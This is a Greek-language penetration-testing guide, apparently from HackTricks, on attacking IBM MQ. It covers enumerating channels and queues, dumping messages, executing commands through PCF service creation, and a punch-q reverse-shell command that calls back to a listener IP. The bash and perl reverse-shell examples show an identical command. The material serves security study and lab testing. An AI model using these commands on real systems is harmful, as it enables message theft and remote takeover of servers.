1414 - Pentesting IBM MQ

Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!

Βασικές πληροφορίες

Το IBM MQ είναι μια τεχνολογία της IBM για τη διαχείριση ουρών μηνυμάτων. Όπως και άλλες τεχνολογίες message broker, αφορά τη λήψη, αποθήκευση, επεξεργασία και ταξινόμηση πληροφοριών μεταξύ παραγωγών και καταναλωτών.

Από προεπιλογή, εκθέτει τη θύρα TCP 1414 του IBM MQ. Μερικές φορές, η HTTP REST API μπορεί να εκτίθεται στη θύρα 9443. Οι μετρήσεις (Prometheus) μπορούν επίσης να προσπελαστούν από τη θύρα TCP 9157.

Η θύρα TCP 1414 του IBM MQ μπορεί να χρησιμοποιηθεί για την επεξεργασία μηνυμάτων, ουρών, καναλιών, ... αλλά και για τον έλεγχο της περίπτωσης.

Η IBM παρέχει μια μεγάλη τεχνική τεκμηρίωση που είναι διαθέσιμη στο https://www.ibm.com/docs/en/ibm-mq.

Εργαλεία

Ένα προτεινόμενο εργαλείο για εύκολη εκμετάλλευση είναι το punch-q, με χρήση Docker. Το εργαλείο χρησιμοποιεί ενεργά τη βιβλιοθήκη Python pymqi.

Για μια πιο χειροκίνητη προσέγγιση, χρησιμοποιήστε τη βιβλιοθήκη Python pymqi. Χρειάζονται εξαρτήσεις IBM MQ.

Εγκατάσταση του pymqi

Πρέπει να εγκατασταθούν και να φορτωθούν οι εξαρτήσεις IBM MQ:

  1. Δημιουργήστε έναν λογαριασμό (IBMid) στο https://login.ibm.com/.

  2. Αποσυμπιέστε (tar xvzf 9.0.0.4-IBM-MQC-LinuxX64.tar.gz).

  3. Εκτελέστε sudo ./mqlicense.sh για να αποδεχτείτε τους όρους των αδειών.

Αν χρησιμοποιείτε Kali Linux, τροποποιήστε το αρχείο mqlicense.sh: αφαιρέστε/σχολιάστε τις παρακάτω γραμμές (μεταξύ των γραμμών 105-110):

if [ ${BUILD_PLATFORM} != `uname`_`uname ${UNAME_FLAG}` ]
 then
   echo "ERROR: This package is incompatible with this system"
   echo "       This package was built for ${BUILD_PLATFORM}"
   exit 1
fi
  1. Εγκαταστήστε αυτά τα πακέτα:

sudo rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesRuntime-9.0.0-4.x86_64.rpm
sudo rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesClient-9.0.0-4.x86_64.rpm
sudo rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesSDK-9.0.0-4.x86_64.rpm
  1. Στη συνέχεια, προσθέστε προσωρινά τα αρχεία .so στο LD: export LD_LIBRARY_PATH=/opt/mqm/lib64, πριν εκτελέσετε άλλα εργαλεία που χρησιμοποιούν αυτές τις εξαρτήσεις.

Στη συνέχεια, μπορείτε να κλωνοποιήσετε το έργο pymqi: περιέχει ενδιαφέρουσες τμήματα κώδικα, σταθερές, ... Ή μπορείτε να εγκαταστήσετε απευθείας τη βιβλιοθήκη με: pip install pymqi.

Χρήση του punch-q

Με το Docker

Απλά χρησιμοποιήστε: sudo docker run --rm -ti leonjza/punch-q.

Χωρίς το Docker

Κλωνοποιήστε το έργο punch-q και ακολουθήστε τις οδηγίες εγκατάστασης στο αρχείο readme (pip install -r requirements.txt && python3 setup.py install).

Στη συνέχεια, μπορεί να χρησιμοποιηθεί με την εντολή punch-q.

Απαρίθμηση

Μπορείτε να προσπαθήσετε να απαριθμήσετε το όνομα του queue manager, τους χρήστες, τα κανάλια και τις ουρές με το punch-q ή το pymqi.

Διαχειριστής ουράς

Μερικές φορές, δεν υπάρχει προστασία κατά την ανάκτηση του ονόματος του διαχειριστή ουράς:

 sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 discover name
Queue Manager name: MYQUEUEMGR

Κανάλια

Το punch-q χρησιμοποιεί μια εσωτερική (προσαρμόσιμη) λίστα λέξεων για να βρει υπάρχοντα κανάλια. Παράδειγμα χρήσης:

❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd discover channels
"DEV.ADMIN.SVRCONN" exists and was authorised.
"SYSTEM.AUTO.SVRCONN" might exist, but user was not authorised.
"SYSTEM.DEF.SVRCONN" might exist, but user was not authorised.

Συμβαίνει να υπάρχουν ορισμένες περιπτώσεις όπου οι εγκαταστάσεις IBM MQ αποδέχονται μη πιστοποιημένα αιτήματα MQ, οπότε δεν απαιτείται η χρήση --username / --password. Φυσικά, τα δικαιώματα πρόσβασης μπορεί να διαφέρουν.

Αφού αποκτήσουμε ένα όνομα καναλιού (εδώ: DEV.ADMIN.SVRCONN), μπορούμε να απαριθμήσουμε όλα τα υπόλοιπα κανάλια.

Η απαρίθμηση μπορεί να γίνει βασικά με το ακόλουθο απόσπασμα κώδικα code/examples/dis_channels.py από το pymqi:

import logging
import pymqi

logging.basicConfig(level=logging.INFO)

queue_manager = 'MYQUEUEMGR'
channel = 'DEV.ADMIN.SVRCONN'
host = '172.17.0.2'
port = '1414'
conn_info = '%s(%s)' % (host, port)
user = 'admin'
password = 'passw0rd'

prefix = '*'

args = {pymqi.CMQCFC.MQCACH_CHANNEL_NAME: prefix}

qmgr = pymqi.connect(queue_manager, channel, conn_info, user, password)
pcf = pymqi.PCFExecute(qmgr)

try:
response = pcf.MQCMD_INQUIRE_CHANNEL(args)
except pymqi.MQMIError as e:
if e.comp == pymqi.CMQC.MQCC_FAILED and e.reason == pymqi.CMQC.MQRC_UNKNOWN_OBJECT_NAME:
logging.info('No channels matched prefix `%s`' % prefix)
else:
raise
else:
for channel_info in response:
channel_name = channel_info[pymqi.CMQCFC.MQCACH_CHANNEL_NAME]
logging.info('Found channel `%s`' % channel_name)

qmgr.disconnect()

... Αλλά το punch-q επίσης ενσωματώνει αυτό το μέρος (με περισσότερες πληροφορίες!). Μπορεί να εκτελεστεί με την εντολή:

❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN show channels -p '*'
Showing channels with prefix: "*"...

| Name                 | Type              | MCA UID | Conn Name | Xmit Queue | Description     | SSL Cipher |
|----------------------|-------------------|---------|-----------|------------|-----------------|------------|
| DEV.ADMIN.SVRCONN    | Server-connection |         |           |            |                 |            |
| DEV.APP.SVRCONN      | Server-connection | app     |           |            |                 |            |
| SYSTEM.AUTO.RECEIVER | Receiver          |         |           |            | Auto-defined by |            |
| SYSTEM.AUTO.SVRCONN  | Server-connection |         |           |            | Auto-defined by |            |
| SYSTEM.DEF.AMQP      | AMQP              |         |           |            |                 |            |
| SYSTEM.DEF.CLUSRCVR  | Cluster-receiver  |         |           |            |                 |            |
| SYSTEM.DEF.CLUSSDR   | Cluster-sender    |         |           |            |                 |            |
| SYSTEM.DEF.RECEIVER  | Receiver          |         |           |            |                 |            |
| SYSTEM.DEF.REQUESTER | Requester         |         |           |            |                 |            |
| SYSTEM.DEF.SENDER    | Sender            |         |           |            |                 |            |
| SYSTEM.DEF.SERVER    | Server            |         |           |            |                 |            |
| SYSTEM.DEF.SVRCONN   | Server-connection |         |           |            |                 |            |
| SYSTEM.DEF.CLNTCONN  | Client-connection |         |           |            |                 |            |

Ουρές

Υπάρχει ένα απόσπασμα κώδικα με το pymqi (dis_queues.py) αλλά το punch-q επιτρέπει να ανακτήσετε περισσότερες πληροφορίες σχετικά με τις ουρές:

❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN show queues -p '*'
Showing queues with prefix: "*"...
| Created   | Name                 | Type   | Usage   | Depth  | Rmt. QM | Rmt. Qu | Description                       |
|           |                      |        |         |        | GR Name | eue Nam |                                   |
|           |                      |        |         |        |         | e       |                                   |
|-----------|----------------------|--------|---------|--------|---------|---------|-----------------------------------|
| 2023-10-1 | DEV.DEAD.LETTER.QUEU | Local  | Normal  | 0      |         |         |                                   |
| 0 18.35.1 | E                    |        |         |        |         |         |                                   |
| 9         |                      |        |         |        |         |         |                                   |
| 2023-10-1 | DEV.QUEUE.1          | Local  | Normal  | 0      |         |         |                                   |
| 0 18.35.1 |                      |        |         |        |         |         |                                   |
| 9         |                      |        |         |        |         |         |                                   |
| 2023-10-1 | DEV.QUEUE.2          | Local  | Normal  | 0      |         |         |                                   |
| 0 18.35.1 |                      |        |         |        |         |         |                                   |
| 9         |                      |        |         |        |         |         |                                   |
| 2023-10-1 | DEV.QUEUE.3          | Local  | Normal  | 0      |         |         |                                   |
| 0 18.35.1 |                      |        |         |        |         |         |                                   |
| 9         |                      |        |         |        |         |         |                                   |
# Truncated

Εκμεταλλευτείτε

Απορροφήστε μηνύματα

Μπορείτε να στοχεύσετε ουρά(ς)/κανάλι(α) για να απορροφήσετε/αποθηκεύσετε μηνύματα από αυτά (μη καταστροφική λειτουργία). Παραδείγματα:

❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN messages sniff
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN messages dump

Μην διστάσετε να επαναλάβετε όλες τις εντοπισμένες ουρές.

Εκτέλεση κώδικα

Λίγες λεπτομέρειες πριν συνεχίσουμε: Το IBM MQ μπορεί να ελεγχθεί με πολλούς τρόπους: MQSC, PCF, Control Command. Ορισμένες γενικές λίστες μπορούν να βρεθούν στην τεκμηρίωση του IBM MQ. PCF (Programmable Command Formats) είναι αυτό που επικεντρωνόμαστε για να αλληλεπιδράσουμε απομακρυσμένα με την περίπτωση. Το punch-q και περαιτέρω το pymqi βασίζονται σε αλληλεπιδράσεις PCF.

Μπορείτε να βρείτε μια λίστα με εντολές PCF:

Μια ενδιαφέρουσα εντολή είναι η MQCMD_CREATE_SERVICE και η τεκμηρίωσή της είναι διαθέσιμη εδώ. Παίρνει ως παράμετρο ένα StartCommand που δείχνει σε ένα τοπικό πρόγραμμα στην περίπτωση (παράδειγμα: /bin/sh).

Υπάρχει επίσης μια προειδοποίηση για την εντολή στα έγγραφα: "Προσοχή: Αυτή η εντολή επιτρέπει σε έναν χρήστη να εκτελέσει μια αυθαίρετη εντολή με δικαιώματα mqm. Αν δοθούν δικαιώματα για τη χρήση αυτής της εντολής, ένας κακόβουλος ή απρόσεκτος χρήστης μπορεί να ορίσει έναν υπηρεσία που θα προκαλέσει ζημιά στα συστήματα ή τα δεδομένα σας, για παράδειγμα, διαγράφοντας απαραίτητα αρχεία."

Σημείωση: πάντα σύμφωνα με την τεκμηρίωση του IBM MQ (Αναφορά Διαχείρισης), υπάρχει επίσης ένα HTTP endpoint στο /admin/action/qmgr/{qmgrName}/mqsc για να εκτελέσετε την αντίστοιχη εντολή MQSC για τη δημιουργία υπηρεσίας (DEFINE SERVICE). Αυτή η πτυχή δεν καλύπτεται ακόμα εδώ.

Η δημιουργία / διαγραφή υπηρεσίας με το PCF για απομακρυσμένη εκτέλεση προγράμματος μπορεί να γίνει με το punch-q:

Παράδειγμα 1

❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command execute --cmd "/bin/sh" --args "-c id"

Στα αρχεία καταγραφής του IBM MQ, μπορείτε να διαβάσετε ότι η εντολή εκτελέστηκε με επιτυχία:

2023-10-10T19:13:01.713Z AMQ5030I: Η εντολή '808544aa7fc94c48' ξεκίνησε. ProcessId(618). [ArithInsert1(618), CommentInsert1(808544aa7fc94c48)]

Μπορείτε επίσης να απαριθμήσετε τα υπάρχοντα προγράμματα στον υπολογιστή (εδώ /bin/doesnotexist ... δεν υπάρχει):

❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command execute --cmd "/bin/doesnotexist" --arg
s "whatever"
Command: /bin/doesnotexist
Arguments: -c id
Service Name: 6e3ef5af652b4436

Creating service...
Starting service...
The program '/bin/doesnotexist' is not available on the remote system.
Giving the service 0 second(s) to live...
Cleaning up service...
Done

Προσοχή, η εκκίνηση του προγράμματος είναι ασύγχρονη. Επομένως, χρειάζεστε ένα δεύτερο στοιχείο για να εκμεταλλευτείτε την ευπάθεια (ακροατής για αντίστροφη κέλυφος, δημιουργία αρχείου σε διαφορετική υπηρεσία, διαρροή δεδομένων μέσω δικτύου ...)

Παράδειγμα 2

Για εύκολη αντίστροφη κέλυφος, το punch-q προτείνει επίσης δύο φορτία αντίστροφου κελύφους:

  • Ένα με το bash

  • Ένα με το perl

Φυσικά μπορείτε να δημιουργήσετε ένα προσαρμοσμένο με την εντολή execute.

Για το bash:

❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command reverse -i 192.168.0.16 -p 4444

Για perl:

❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command reverse -i 192.168.0.16 -p 4444

Προσαρμοσμένο PCF

Μπορείτε να εξερευνήσετε την τεκμηρίωση του IBM MQ και να χρησιμοποιήσετε απευθείας τη βιβλιοθήκη pymqi της Python για να δοκιμάσετε συγκεκριμένη εντολή PCF που δεν έχει υλοποιηθεί στο punch-q.

Παράδειγμα:

import pymqi

queue_manager = 'MYQUEUEMGR'
channel = 'DEV.ADMIN.SVRCONN'
host = '172.17.0.2'
port = '1414'
conn_info = '%s(%s)' % (host, port)
user = 'admin'
password = 'passw0rd'

qmgr = pymqi.connect(queue_manager, channel, conn_info, user, password)
pcf = pymqi.PCFExecute(qmgr)

try:
# Replace here with your custom PCF args and command
# The constants can be found in pymqi/code/pymqi/CMQCFC.py
args = {pymqi.CMQCFC.xxxxx: "value"}
response = pcf.MQCMD_CUSTOM_COMMAND(args)
except pymqi.MQMIError as e:
print("Error")
else:
# Process response

qmgr.disconnect()

Εάν δεν μπορείτε να βρείτε τα ονόματα των σταθερών, μπορείτε να ανατρέξετε στην τεκμηρίωση του IBM MQ.

Παράδειγμα για το MQCMD_REFRESH_CLUSTER (Δεκαδικό = 73). Χρειάζεται την παράμετρο MQCA_CLUSTER_NAME (Δεκαδικό = 2029) η οποία μπορεί να είναι * (Έγγραφο: ):

import pymqi

queue_manager = 'MYQUEUEMGR'
channel = 'DEV.ADMIN.SVRCONN'
host = '172.17.0.2'
port = '1414'
conn_info = '%s(%s)' % (host, port)
user = 'admin'
password = 'passw0rd'

qmgr = pymqi.connect(queue_manager, channel, conn_info, user, password)
pcf = pymqi.PCFExecute(qmgr)

try:
    args = {2029: "*"}
    response = pcf.MQCMD_REFRESH_CLUSTER(args)
except pymqi.MQMIError as e:
    print("Σφάλμα")
else:
    print(response)

qmgr.disconnect()

Περιβάλλον δοκιμής

Εάν θέλετε να δοκιμάσετε τη συμπεριφορά και τις εκμεταλλεύσεις του IBM MQ, μπορείτε να δημιουργήσετε ένα τοπικό περιβάλλον βασισμένο σε Docker:

  1. Έχοντας έναν λογαριασμό στο ibm.com και cloud.ibm.com.

  2. Δημιουργήστε έναν ελαττωματικό IBM MQ με:

sudo docker pull icr.io/ibm-messaging/mq:9.3.2.0-r2
sudo docker run -e LICENSE=accept -e MQ_QMGR_NAME=MYQUEUEMGR -p1414:1414 -p9157:9157 -p9443:9443 --name testing-ibmmq icr.io/ibm-messaging/mq:9.3.2.0-r2

Από προεπιλογή, η πιστοποίηση είναι ενεργοποιημένη, το όνομα χρήστη είναι admin και ο κωδικός πρόσβασης είναι passw0rd (Μεταβλητή περιβάλλοντος MQ_ADMIN_PASSWORD). Εδώ, το όνομα του διαχειριστή ουράς έχει οριστεί σε MYQUEUEMGR (μεταβλητή MQ_QMGR_NAME).

Θα πρέπει να έχετε το IBM MQ ενεργοποιημένο και να εκτίθενται οι θύρες του:

 sudo docker ps
CONTAINER ID   IMAGE                                COMMAND                  CREATED         STATUS                    PORTS                                                                    NAMES
58ead165e2fd   icr.io/ibm-messaging/mq:9.3.2.0-r2   "runmqdevserver"         3 seconds ago   Up 3 seconds              0.0.0.0:1414->1414/tcp, 0.0.0.0:9157->9157/tcp, 0.0.0.0:9443->9443/tcp   testing-ibmmq

Οι παλιές εκδόσεις των εικόνων Docker του IBM MQ βρίσκονται στο: https://hub.docker.com/r/ibmcom/mq/.

Αναφορές

Last updated